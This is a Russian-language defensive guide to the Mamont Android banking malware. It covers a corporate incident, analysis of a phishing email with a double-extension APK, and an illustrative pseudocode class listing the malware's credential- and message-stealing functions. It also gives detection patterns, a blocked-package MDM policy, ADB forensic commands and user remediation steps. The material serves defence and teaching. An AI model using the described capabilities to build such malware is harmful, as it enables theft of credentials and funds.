<h2 id="nemedlennye-deystviya">Немедленные действия:</h2>

1. Изоляция скомпрометированных устройств

2. Блокировка C2 IP на firewall

3. Уведомление сотрудников

4. Контакт с банками для заморозки операций

<h2 id="analiz-pokazal-modifikatsiyu-mamont-dlya-korporativnoy-sredy">Анализ показал модификацию Mamont для корпоративной среды</h2>




class CorporateMamont:

    def __init__(self):

        # Базовый Mamont функционал

        self.sms_interceptor = True

        self.contact_stealer = True

        self.c2_telegram = True

        

        # НОВОЕ: корпоративные модули

        self.email_reader = True          # Чтение корп. почты

        self.slack_interceptor = True     # Перехват Slack

        self.vpn_credential_stealer = True # Кража VPN доступов

        self.screenshot_on_keyword = True  # Скриншот при "пароль", "счёт"

    

    def target_identification(self):

        # Определение ценных целей

        if self.is_finance_dept():

            priority = "CRITICAL"

            steal_all_data()

        elif self.is_admin():

            priority = "HIGH"

            steal_credentials()

Анализ фишингового письма:



From: <bukh@*company.ru>  # Поддельный адрес

Real sender IP: 194.186.142.* (VPN endpoint)

SPF: FAIL

DKIM: FAIL

DMARC: FAIL  # Все проверки провалены!



Вложение: Обновление_Банк_2026.pdf.apk

^^^^^^^^^                          ^^^^ ДВОЙНОЕ РАСШИРЕНИЕ!



Настоящий файл: APK (вредонос), не PDF!



Metadata APK:

Package: com.sberbank.mobile.official  # Поддельный package name

Real package: com.malware.corp.v2

Certificate: Self-signed, created 2026-01-20

Цепочка хищений:



1. Прямые потери от сотрудников: 4,2 млн руб

   - 87 сотрудников × ~48,000 руб средний ущерб



2. BEC-атака (Business Email Compromise): 7,8 млн руб

   - Перехват переписки с поставщиками

   - Подмена реквизитов в email

   - 3 крупных перевода на фейковые счета



3. Непрямые потери:

   - Остановка бизнес-процессов: ~2 дня

   - Расследование и восстановление: 500 тыс руб

   - Аудит безопасности: 1 млн руб

   - Репутационный ущерб: неоценим

Техническая защита:

✅ MDM с блокировкой sideloading

✅ EDR/XDR на корпоративных устройствах

✅ Network monitoring (SIEM)

✅ Application control (whitelisting)



Организационная защита:

✅ Регулярное обучение сотрудников

✅ Incident Response Plan

✅ Regular security audits

✅ Threat intelligence feeds



Процессная защита:

✅ Двухфакторная аутентификация (2FA)

✅ Ограничение прав установки приложений

✅ Мониторинг аномальной активности

✅ Резервное копирование данных

❌ ОПАСНО:

- Файл пришёл в Telegram/WhatsApp/Viber

- Ссылка ведёт на прямое скачивание .apk

- "Установите для просмотра фото/видео"



✅ БЕЗОПАСНО:

- Только через Google Play Store

- Официальные сайты разработчиков

- App Gallery (для Huawei)

<h2 id="opasnye-patterny">Опасные паттерны:</h2>

фото.apk          # ❌ Фото — это .jpg/.png, не .apk!

видео.apk         # ❌ Видео — это .mp4/.avi, не .apk!

документ.pdf.apk  # ❌ Двойное расширение — классический трюк

счёт_январь.apk   # ❌ Счета — это .pdf/.xlsx, не .apk!



<h2 id="bezopasnye-rasshireniya-dlya-media">Безопасные расширения для медиа:</h2>

.jpg .png .gif .mp4 .avi .mp3 .pdf .doc .xlsx

🚨 КРАСНЫЕ ФЛАГИ — немедленно удалить:



❌ Калькулятор запрашивает доступ к SMS

❌ Фонарик запрашивает доступ к контактам

❌ Игра запрашивает доступ к телефону

❌ "Трекер посылок" запрашивает Accessibility Service



💡 Принцип: приложение должно запрашивать ТОЛЬКО

   те разрешения, которые нужны для его работы.

Шаг 1: Получили ссылку на "приложение"

Шаг 2: НЕ переходите по ссылке

Шаг 3: Откройте Google Play

Шаг 4: Найдите приложение через официальный поиск

Шаг 5: Проверьте разработчика (должен совпадать с официальным)

Шаг 6: Только если всё OK — устанавливайте



Пример:

Ссылка: "Скачать Wildberries Track"

→ Открываете Play Store

→ Ищете "Wildberries"

→ Разработчик: ООО "Вайлдберриз" ✅

→ 100M+ установок ✅

→ Рейтинг 4.5★ ✅

→ МОЖНО устанавливать

Рекомендуемые решения для Android:



Бесплатные:

• Kaspersky Internet Security

• Dr.Web Security Space

• ESET Mobile Security



Встроенные:

• Google Play Protect (уже в Android)

• Samsung Knox (на устройствах Samsung)



Настройка:

✅ Включить сканирование при установке

✅ Включить проверку приложений

✅ Включить защиту от фишинга

✅ Регулярно обновлять базы

Настройки → Безопасность → Неизвестные источники → ВЫКЛ



Или для Android 8+:

Настройки → Приложения → Особые права → 

Установка неизвестных приложений → 

Для каждого приложения: Запретить



Исключение: можно разрешить ТОЛЬКО для проверенных:

✅ Chrome (если качаете с известных сайтов)

✅ Samsung Internet

❌ Telegram, WhatsApp — НИКОГДА!

<h2 id="cherez-adb-dlya-teh-kto-umeet">Через ADB (для тех, кто умеет)</h2>

adb shell pm list packages -3  # Список сторонних приложений



<h2 id="chto-iskat">Что искать:</h2>

<h2 id="prilozheniya-kotorye-vy-ne-ustanavlivali">- Приложения, которые вы не устанавливали</h2>

<h2 id="podozritelnye-imena-paketov-com-system-org-update">- Подозрительные имена пакетов (com.system.*, org.update.*)</h2>

<h2 id="prilozheniya-bez-ikonki-v-launcher">- Приложения без иконки в launcher</h2>




<h2 id="proverka-poslednih-ustanovok">Проверка последних установок:</h2>

adb shell dumpsys package | grep firstInstallTime



<h2 id="udalenie-podozritelnogo">Удаление подозрительного:</h2>

adb shell pm uninstall <package.name>

<h2 id="mamont-chasto-pytaetsya-poluchit-root">Mamont часто пытается получить root</h2>

<h2 id="proverka">Проверка:</h2>




<h2 id="1-nalichie-superuser-app">1. Наличие Superuser app</h2>

ls /system/app/Superuser.apk

ls /system/app/SuperSU.apk



<h2 id="2-su-binary">2. Su binary</h2>

which su

<h2 id="esli-vyvodit-put-ustroystvo-rutovano">Если выводит путь → устройство рутовано</h2>




<h2 id="3-proverka-cherez-prilozhenie">3. Проверка через приложение</h2>

<h2 id="root-checker-by-joeykrim-v-play-store">Root Checker by joeykrim (в Play Store)</h2>




<h2 id="esli-ustroystvo-bylo-rutovano-bez-vashego-vedoma-zarazheno">Если устройство было рутовано без вашего ведома → заражено!</h2>

<h2 id="afwall-trebuet-root">AFWall+ (требует root)</h2>

<h2 id="firewall-dlya-android">- Firewall для Android</h2>

<h2 id="blokiruet-prilozheniyam-dostup-k-internetu">- Блокирует приложениям доступ к интернету</h2>

<h2 id="logiruet-vse-soedineniya">- Логирует все соединения</h2>




<h2 id="netguard-bez-root">NetGuard (без root)</h2>

<h2 id="vpn-based-firewall">- VPN-based firewall</h2>

<h2 id="blokiruet-po-prilozheniyam">- Блокирует по приложениям</h2>

<h2 id="pokazyvaet-statistiku-trafika">- Показывает статистику трафика</h2>




<h2 id="chto-iskat">Что искать:</h2>

<h2 id="prilozheniya-otpravlyayuschie-mnogo-dannyh">- Приложения, отправляющие много данных</h2>

<h2 id="soedineniya-k-podozritelnym-ip">- Соединения к подозрительным IP</h2>

<h2 id="aktivnost-v-nochnoe-vremya-kogda-vy-spite">- Активность в ночное время (когда вы спите)</h2>

// Пример политики в VMware Workspace ONE



{

  "name": "Anti-Mamont Policy",

  "rules": {

    "block_unknown_sources": true,

    "enforce_play_protect": true,

    "require_device_encryption": true,

    "block_usb_debugging": true,

    

    "allowed_app_sources": [

      "com.android.vending"  // Только Google Play

    ],

    

    "blocked_packages": [

      "com.delivery.tracker",

      "com.system.updates",

      "com.photo.viewer",

      // ... список известных Mamont пакетов

    ],

    

    "required_permissions_warning": {

      "SMS": "High risk",

      "CONTACTS": "Medium risk",

      "ACCESSIBILITY": "Critical risk"

    }

  },

  

  "compliance_actions": {

    "violation": "quarantine_device",

    "remediation": "wipe_device"

  }

}

Рекомендуемые решения:



Коммерческие:

• Zimperium zIPS

• Lookout Mobile Endpoint Security

• Check Point Harmony Mobile

• Pradeo Security



Функции MTD:

✅ Детектирование вредоносных приложений в реальном времени

✅ Анализ поведения приложений

✅ Защита от фишинга

✅ Обнаружение network-based атак

✅ Защита от man-in-the-middle

✅ Compliance reporting

<h2 id="programma-obucheniya-sotrudnikov-ezhekvartalno">Программа обучения сотрудников (ежеквартально)</h2>




<h2 id="modul-1-bazovaya-kibergigiena-1-chas">Модуль 1: Базовая кибергигиена (1 час)</h2>

- Что такое фишинг и как его распознать

- Опасности установки APK из неизвестных источников

- Проверка подлинности приложений



<h2 id="modul-2-mobilnaya-bezopasnost-1-chas">Модуль 2: Мобильная безопасность (1 час)</h2>

- Схема "Мамонт" и как она работает

- Реальные кейсы атак на сотрудников компаний

- Что делать при подозрении на заражение



<h2 id="modul-3-incident-response-30-min">Модуль 3: Incident Response (30 мин)</h2>

- Куда обращаться при инциденте

- Как сохранить доказательства

- Процедура реагирования



<h2 id="modul-4-prakticheskie-uprazhneniya-30-min">Модуль 4: Практические упражнения (30 мин)</h2>

- Симуляция фишинговой атаки

- Проверка знаний (тест)

- Выдача сертификата



Метрики успеха:

- Click rate на фишинг < 5%

- Report rate подозрительных писем > 80%

- Инциденты с установкой вредоносов: 0

<h2 id="primer-konfiguratsii-korporativnoy-zaschity">Пример конфигурации корпоративной защиты</h2>




network_security:

  firewall:

    - block_known_c2_servers: true

    - block_bulletproof_hosting: true

    - threat_intelligence_feeds:

      - abuse.ch

      - spamhaus

      - custom_mamont_ioc

  

  dns:

    - dns_filtering: true

    - block_newly_registered_domains: true  # < 30 дней

    - sinkhole_malicious_domains: true



endpoint_security:

  mobile:

    - mdm_enforced: true

    - mtd_solution: "Zimperium"

    - app_reputation: true

    - certificate_pinning: true

    

  detection:

    - edr_agent: true

    - behavioral_analysis: true

    - anomaly_detection: true

    - siem_integration: true



email_security:

  anti_phishing:

    - attachment_sandboxing: true

    - url_rewriting: true

    - block_apk_attachments: true  # ❗ Важно!

    - spf_dkim_dmarc_enforcement: strict



incident_response:

  automated_actions:

    - isolate_device_on_ioc_match: true

    - notify_security_team: true

    - kill_malicious_process: true

    - collect_forensics: true

. Включите режим полёта (Airplane Mode)

   - Отключает GSM, Wi-Fi, Bluetooth

   - Прерывает связь с C2

   

2. НЕ перезагружайте устройство!

   - Можете потерять важные доказательства в RAM

   

3. Отключите передачу данных

   - Настройки → Сеть → Передача данных → ВЫКЛ

Звоните в банк с другого телефона!



Сообщите:

1. "Мой телефон взломан, заблокируйте мобильный банк"

2. "Проверьте последние операции за сегодня"

3. "Нужна замена карты"

4. "Смените все пароли в интернет-банке"



Не используйте заражённый телефон для звонка —

мошенники могут перехватить разговор!

<h2 id="esli-est-navyki-i-vtoroe-ustroystvo">Если есть навыки и второе устройство:</h2>




<h2 id="podklyuchite-telefon-po-usb">Подключите телефон по USB</h2>

adb devices



<h2 id="sdelayte-skrinshot-spiska-prilozheniy">Сделайте скриншот списка приложений</h2>

adb shell pm list packages -f > installed_apps.txt



<h2 id="izvlekite-podozritelnyy-apk">Извлеките подозрительный APK</h2>

adb shell pm path com.suspicious.package

<h2 id="otvet-data-app-com-suspicious-package-base-apk">Ответ: /data/app/com.suspicious.package/base.apk</h2>




adb pull /data/app/com.suspicious.package/base.apk malware_sample.apk



<h2 id="sohranite-logi">Сохраните логи</h2>

adb logcat -d > device_logs.txt



<h2 id="sdelayte-polnyy-backup-mozhet-zanyat-chas">Сделайте полный backup (может занять час!)</h2>

adb backup -apk -shared -all -f full_backup.ab

Куда обратиться:



1. МВД России — Управление "К"

   - Сайт: мвд.рф

   - Телефон: 112 (с мобильного)

   

2. Киберполиция

   - Онлайн-заявление: мвд.рф/request_main

   

3. Банк России (для финансовых инцидентов)

   - Сайт: cbr.ru

   

Что взять с собой:

✅ Заражённое устройство (НЕ сбрасывать!)

✅ Скриншоты переписки с мошенниками

✅ Выписки по счетам

✅ Любые сохранённые доказательства

. Factory Reset (сброс к заводским настройкам)

   - Настройки → Система → Сброс → Удалить все данные

   - ❗ Только ПОСЛЕ сохранения доказательств!

   

2. Восстановление из резервной копии

   - Используйте backup, сделанный ДО заражения

   - Проверьте дату последнего чистого backup

   

3. Смена всех паролей

   - Email

   - Банки

   - Социальные сети

   - Рабочие аккаунты

   

4. Включение 2FA везде

   - SMS-коды + приложение-аутентификатор

   - НЕ полагайтесь только на SMS!

❌ НЕ пытайтесь удалить только вредоносное приложение

   (могут остаться скрытые компоненты)



❌ НЕ продолжайте пользоваться устройством "для важных дел"

   (мошенники видят ВСЁ)



❌ НЕ переустанавливайте приложение заново

   ("может, в этот раз будет безопасно" — НЕТ!)



❌ НЕ доверяйте "антивирусам", которые "нашли и удалили угрозу"

   (Mamont может маскироваться)



✅ ТОЛЬКО полный сброс устройства!

<h2 id="ezhenedelnye-deystviya">Еженедельные действия:</h2>

□ Проверить список установленных приложений

□ Посмотреть статистику использования батареи (ищите подозрительные процессы)

□ Проверить активные сервисы (Настройки → Приложения → Запущенные)



<h2 id="ezhemesyachnye-deystviya">Ежемесячные действия:</h2>

□ Обновить все приложения

□ Обновить операционную систему

□ Проверить разрешения приложений (Настройки → Приложения → Разрешения)

□ Сделать backup данных



<h2 id="ezhekvartalnye-deystviya">Ежеквартальные действия:</h2>

□ Провести полное сканирование антивирусом

□ Проверить список приложений с Device Admin правами

□ Проверить аккаунты Google на подозрительную активность

□ Сменить критичные пароли



<h2 id="posle-kazhdoy-podozritelnoy-aktivnosti">После каждой подозрительной активности:</h2>

□ Скан антивирусом

□ Проверка списка приложений

□ Проверка банковских операций

□ При малейшем подозрении — обращение к специалистам